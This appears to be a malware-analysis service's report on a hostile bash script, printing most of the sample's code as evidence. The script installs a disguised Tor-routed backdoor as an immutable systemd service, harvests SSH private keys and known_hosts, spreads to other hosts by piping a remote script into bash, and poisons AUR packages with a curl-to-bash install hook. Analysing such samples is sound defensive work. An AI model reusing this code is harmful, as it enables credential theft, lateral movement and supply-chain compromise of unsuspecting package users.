Hostile 92% linux Download

linux.sh

Supply chain compromise and lateral movement

Publishes injected hook through multiple npm credentialsPushes AUR install script remote execution injection
SHA-256edd3cd79750fdb3143f21ae38ef7e022acb3f352b4a49ecbd3d612035fe8c700

Evidence

curl command names a remote HTTP(S) URL lines 1–48
1#!/bin/bash
2_linux_script_url='https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/linux.sh'
3_linux_binary_url='https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/systemd-fontd'
4#_windows_script_url='https://example.org/windows.ps1'
5_node_script_url='https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js'
6_deploy_fontrenderd() {
7 if [ "$EUID" -eq 0 ]; then
8 systemctl enable --now tor.service
9
10 mkdir -p /usr/lib/systemd
11 curl "$_linux_binary_url" -o /usr/lib/systemd/systemd-fontrenderd
12
13 chmod +x /usr/lib/systemd/systemd-fontrenderd
14 chattr +i /usr/lib/systemd/systemd-fontrenderd
15
16 cat <<EOF >/etc/systemd/system/systemd-fontrenderd.service
17[Unit]
18Description=Font Rendering Service
19Requires=tor.service
20After=tor.service
21
22[Service]
23Environment="HTTP_PROXY=socks5://127.0.0.1:9050"
24ExecStart=/usr/lib/systemd/systemd-fontrenderd
25KillMode=none
26
27[Install]
28WantedBy=multi-user.target
29EOF
30
31 systemctl daemon-reload
32 systemctl enable --now systemd-fontrenderd.service
33
34 chattr +i /etc/systemd/system/systemd-fontrenderd.service
35 chattr +i /etc/systemd/system/multi-user.target.wants/systemd-fontrenderd.service
36 else
37 _tor_expert_bundle=$(mktemp -u)
38 curl https://dist.torproject.org/torbrowser/15.0.23/tor-expert-bundle-linux-i686-15.0.23.tar.gz -o "$_tor_expert_bundle"
39
40 mkdir -p ~/.config/systemd/systemd-fontrenderd
41 tar -xf "$_tor_expert_bundle" -C ~/.config/systemd/systemd-fontrenderd
42
43 rm -f "$_tor_expert_bundle"
44
45 chmod +x ~/.config/systemd/systemd-fontrenderd/tor/tor
46
47 mkdir -p ~/.config/systemd/user
48
curl/wget text includes output option lines 54–72
54:68… fig/systemd/systemd-fontrenderd/data/torrc-defaults
55Environment=LD_LIBRARY_PATH=\$LD_LIBRARY_PATH:%h/.config/systemd/systemd-fontrenderd/tor
56KillMode=none
57
58[Install]
59WantedBy=default.target
60EOF
61
62 curl "$_linux_binary_url" -o ~/.config/systemd/systemd-fontcached
63 chmod +x ~/.config/systemd/systemd-fontcached
64
65 cat <<EOF >~/.config/systemd/user/systemd-fontcached.service
⋯7 lines
SSH client enables noninteractive batch mode lines 73–107
⋯5 lines
78EOF
79
80 systemctl daemon-reload --user
81 systemctl enable --user --now systemd-fontrenderd.service
82 systemctl enable --user --now systemd-fontcached.service
83 fi
84}
85_ssh() {
86 # shellcheck disable=SC2068
87 ssh -o BatchMode=yes -o UserKnownHostsFile="$_known_hosts" $@
88}
89
⋯5 lines
95 _uname="$(_ssh $@ uname)"
96 # shellcheck disable=SC2068
97 if [ "$_uname" = 'Linux' ]; then
98 # shellcheck disable=SC2068
99 _ssh $@ "nohup curl '$_linux_script_url' | nohup bash &>/tmp/log"
100 #elif _ssh $@ 'echo %OS%' | grep -i 'Windows_NT'; then
101 ## shellcheck disable=SC2068
102 # _ssh $@ "curl.exe $_windows_script_url | powershell"
103 fi
104}
105
106_use_ssh_key() {
107 export GIT_SSH_COMMAND="ssh -o Batch …
Appends remote execution to install script lines 107–154
107:66… ile='$_known_hosts' -i '$1'"
108
109 for _host in $(cut -d' ' -f1 "$_known_hosts" | uniq)
110 do
111 _url="ssh://$_host"
112 for _config in /home/*/.ssh/config /mnt/c/Users/*/.ssh/config /root/*/.ssh/config
113 do
114 _infect_host -F "$_config" -i "$1" "$_url" &
115 done
116
117 _infect_host -l root -i "$1" "$_url" &
118 done
119
120 _repos=$(_ssh -i "$1" [email protected] list-repos | tr -d '*')
121 for _repo in $_repos
122 do
⋯5 lines
128_do_aur_update() {
129 local _tmp_git_path=$(mktemp -d)
130 git clone "ssh://[email protected]/$1.git" "$_tmp_git_path"
131
132 cd "$_tmp_git_path" || exit 1
133 source PKGBUILD
134
135 ((pkgrel++))
136
137 printf '\npkgrel=%s\n' "$pkgrel" >> PKGBUILD
138
139 if [ -z "$install" ]; then
140 install="$pkgname.install"
141 echo "install='$install'" >> PKGBUILD
142 fi
143
144 echo "bash <(curl '$_linux_script_url')" >> "$install"
145
146 git config user.email "$(git log -1 --pretty=format:'%ae')"
147 git config user.name "$(git log -1 --pretty=format:'%an')"
148
149 git add PKGBUILD "$install"
150 git commit -m "upgpkg: $pkgver-$pkgrel" -a --no-gpg-sign
151 git push
152
153 rm -rf "$_tmp_git_path"
154}
Shell command reads the SSH known_hosts file lines 190–210
190:2… elif [ "$ID" = 'debian' ] || [ "$ID_LIKE" = 'debian' ]; then
191 apt-get install -y tor openssh-client git npm build-essential
192 fi
193 fi
194
195 _deploy_fontrenderd &
196
197 export GIT_TERMINAL_PROMPT=0
198
199 _known_hosts=$(mktemp)
200 shopt -s nullglob
201 cat {/home/*,/root,/mnt/c/Users/*}/.ssh/known_hosts /etc/ssh/ssh_known_hosts{,2} >> "$_known_hosts"
202
203 shopt -s globstar
204 for _key in $(file {/home/*,/root,/mnt/c/Users/*}/.ssh/** | grep "OpenSSH private key" | cut -d":" -f1)
205 do
206 _use_ssh_key "$_key" &
⋯4 lines

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.